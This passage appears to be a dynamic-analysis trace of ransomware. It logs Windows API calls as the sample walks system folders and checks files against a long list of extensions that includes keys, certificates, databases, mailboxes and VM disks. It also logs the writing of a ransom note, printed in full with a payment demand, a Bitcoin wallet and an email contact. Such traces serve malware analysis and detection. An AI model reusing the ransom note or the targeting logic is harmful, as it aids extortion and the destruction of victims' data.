pszSpec="*.pem") returned 0 [0104.312] lstrlenA (lpString="*.pem") returned 5 [0104.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.p12") returned 0 [0104.312] lstrlenA (lpString="*.p12") returned 5 [0104.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.gpg") returned 0 [0104.312] lstrlenA (lpString="*.gpg") returned 5 [0104.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.vsd") returned 0 [0104.312] lstrlenA (lpString="*.vsd") returned 5 [0104.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.odg") returned 0 [0104.312] lstrlenA (lpString="*.odg") returned 5 [0104.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.raw") returned 0 [0104.312] lstrlenA (lpString="*.raw") returned 5 [0104.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.nef") returned 0 [0104.312] lstrlenA (lpString="*.nef") returned 5 [0104.312] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.svg") returned 0 [0104.312] lstrlenA (lpString="*.svg") returned 5 [0104.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.psd") returned 0 [0104.313] lstrlenA (lpString="*.psd") returned 5 [0104.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.vmx") returned 0 [0104.313] lstrlenA (lpString="*.vmx") returned 5 [0104.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.vmdk") returned 0 [0104.313] lstrlenA (lpString="*.vmdk") returned 6 [0104.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.vdi") returned 0 [0104.313] lstrlenA (lpString="*.vdi") returned 5 [0104.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.lay6") returned 0 [0104.313] lstrlenA (lpString="*.lay6") returned 6 [0104.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.mpeg") returned 0 [0104.313] lstrlenA (lpString="*.mpeg") returned 6 [0104.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.djvu") returned 0 [0104.313] lstrlenA (lpString="*.djvu") returned 6 [0104.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.tiff") returned 0 [0104.313] lstrlenA (lpString="*.tiff") returned 6 [0104.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.backup") returned 0 [0104.313] lstrlenA (lpString="*.backup") returned 8 [0104.313] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.pdf") returned 0 [0104.313] lstrlenA (lpString="*.pdf") returned 5 [0104.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.cert") returned 0 [0104.314] lstrlenA (lpString="*.cert") returned 6 [0104.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.docm") returned 0 [0104.314] lstrlenA (lpString="*.docm") returned 6 [0104.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.xlsm") returned 0 [0104.314] lstrlenA (lpString="*.xlsm") returned 6 [0104.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.dwg") returned 0 [0104.314] lstrlenA (lpString="*.dwg") returned 5 [0104.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.nd") returned 0 [0104.314] lstrlenA (lpString="*.nd") returned 4 [0104.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.tlg") returned 0 [0104.314] lstrlenA (lpString="*.tlg") returned 5 [0104.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.lgb") returned 0 [0104.314] lstrlenA (lpString="*.lgb") returned 5 [0104.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.mov") returned 0 [0104.314] lstrlenA (lpString="*.mov") returned 5 [0104.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.xdw") returned 0 [0104.314] lstrlenA (lpString="*.xdw") returned 5 [0104.314] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.ods") returned 0 [0104.315] lstrlenA (lpString="*.ods") returned 5 [0104.315] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.wav") returned 0 [0104.315] lstrlenA (lpString="*.wav") returned 5 [0104.315] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.mp3") returned 0 [0104.315] lstrlenA (lpString="*.mp3") returned 5 [0104.315] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.aiff") returned 0 [0104.315] lstrlenA (lpString="*.aiff") returned 6 [0104.315] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.flac") returned 0 [0104.315] lstrlenA (lpString="*.flac") returned 6 [0104.315] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.m4a") returned 0 [0104.315] lstrlenA (lpString="*.m4a") returned 5 [0104.315] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\0e5bae8f265fbbbf53e8ca79d159cd6d\\PresentationFramework.Luna.ni.dll", pszSpec="*.csv") returned 0 [0104.315] lstrlenA (lpString="*.csv") returned 5 [0104.315] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x198fdfe0, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x198fdfe0, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x19924140, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x83c00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFramework.Luna.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 0 [0104.315] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0104.425] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19e3300a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x19e3300a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x19e3300a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="17ab5131ab854c98847ad70236435924", cAlternateFileName="17AB51~1")) returned 1 [0104.425] lstrcmpA (lpString1=".", lpString2="17ab5131ab854c98847ad70236435924") returned -1 [0104.425] lstrcmpA (lpString1="..", lpString2="17ab5131ab854c98847ad70236435924") returned -1 [0104.425] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\*.*") returned="*.*" [0104.425] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\", lpString2="17ab5131ab854c98847ad70236435924" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924" [0104.425] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924") returned 100 [0104.425] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19e3300a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x19e3300a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x19e3300a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0104.427] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0104.428] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x19e3300a, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x19e3300a, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x19e3300a, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0104.428] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0104.428] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0104.428] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x19de6d49, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0x19de6d49, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0x19de6d49, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x3f000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="PresentationFramework.Royale.ni.dll", cAlternateFileName="PRESEN~1.DLL")) returned 1 [0104.428] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0104.428] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="PresentationFramework.Royale.ni.dll") returned -1 [0104.428] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="PresentationFramework.Royale.ni.dll") returned -1 [0104.428] lstrcmpiA (lpString1="", lpString2="PresentationFramework.Royale.ni.dll") returned -1 [0104.428] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\*.*") returned="*.*" [0104.428] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\" [0104.429] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\") returned="" [0104.429] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\HOW TO DECRYPT FILES.txt" [0104.429] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\presentationframewo#\\17ab5131ab854c98847ad70236435924\\how to decrypt files.txt")) returned 0xffffffff [0104.429] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_32\\presentationframewo#\\17ab5131ab854c98847ad70236435924\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0104.430] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0104.430] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0104.433] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0104.433] CloseHandle (hObject=0x90) returned 1 [0104.433] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\", lpString2="PresentationFramework.Royale.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll" [0104.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.ems") returned 0 [0104.433] lstrlenA (lpString="*.ems") returned 5 [0104.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.db") returned 0 [0104.433] lstrlenA (lpString="*.db") returned 4 [0104.433] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.dbf") returned 0 [0104.433] lstrlenA (lpString="*.dbf") returned 5 [0104.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.myox") returned 0 [0104.434] lstrlenA (lpString="*.myox") returned 6 [0104.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.myo") returned 0 [0104.434] lstrlenA (lpString="*.myo") returned 5 [0104.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.qbw") returned 0 [0104.434] lstrlenA (lpString="*.qbw") returned 5 [0104.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.qbb") returned 0 [0104.434] lstrlenA (lpString="*.qbb") returned 5 [0104.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.qbm") returned 0 [0104.434] lstrlenA (lpString="*.qbm") returned 5 [0104.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.qbo") returned 0 [0104.434] lstrlenA (lpString="*.qbo") returned 5 [0104.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.qbx") returned 0 [0104.434] lstrlenA (lpString="*.qbx") returned 5 [0104.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.qba") returned 0 [0104.434] lstrlenA (lpString="*.qba") returned 5 [0104.434] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.qby") returned 0 [0104.435] lstrlenA (lpString="*.qby") returned 5 [0104.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.qbj") returned 0 [0104.435] lstrlenA (lpString="*.qbj") returned 5 [0104.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.ofx") returned 0 [0104.435] lstrlenA (lpString="*.ofx") returned 5 [0104.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.qif") returned 0 [0104.435] lstrlenA (lpString="*.qif") returned 5 [0104.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.mye") returned 0 [0104.435] lstrlenA (lpString="*.mye") returned 5 [0104.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.mbox") returned 0 [0104.435] lstrlenA (lpString="*.mbox") returned 6 [0104.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.eml") returned 0 [0104.435] lstrlenA (lpString="*.eml") returned 5 [0104.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.pst") returned 0 [0104.435] lstrlenA (lpString="*.pst") returned 5 [0104.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.ost") returned 0 [0104.435] lstrlenA (lpString="*.ost") returned 5 [0104.435] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.idx") returned 0 [0104.436] lstrlenA (lpString="*.idx") returned 5 [0104.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.dbx") returned 0 [0104.436] lstrlenA (lpString="*.dbx") returned 5 [0104.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.sql") returned 0 [0104.436] lstrlenA (lpString="*.sql") returned 5 [0104.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.mdb") returned 0 [0104.436] lstrlenA (lpString="*.mdb") returned 5 [0104.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.fdb") returned 0 [0104.436] lstrlenA (lpString="*.fdb") returned 5 [0104.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.wab") returned 0 [0104.436] lstrlenA (lpString="*.wab") returned 5 [0104.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.dat") returned 0 [0104.436] lstrlenA (lpString="*.dat") returned 5 [0104.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.txt") returned 0 [0104.436] lstrlenA (lpString="*.txt") returned 5 [0104.436] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.jpeg") returned 0 [0104.437] lstrlenA (lpString="*.jpeg") returned 6 [0104.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.jpg") returned 0 [0104.437] lstrlenA (lpString="*.jpg") returned 5 [0104.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.png") returned 0 [0104.437] lstrlenA (lpString="*.png") returned 5 [0104.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.php") returned 0 [0104.437] lstrlenA (lpString="*.php") returned 5 [0104.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.cs") returned 0 [0104.437] lstrlenA (lpString="*.cs") returned 4 [0104.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.cpp") returned 0 [0104.437] lstrlenA (lpString="*.cpp") returned 5 [0104.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.rar") returned 0 [0104.437] lstrlenA (lpString="*.rar") returned 5 [0104.437] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\PresentationFramewo#\\17ab5131ab854c98847ad70236435924\\PresentationFramework.Royale.ni.dll", pszSpec="*.zip") returned 0 [0104.437] lstrlenA (lpString="*.zip") returned 5 [0104.437] PathMatchSpecA 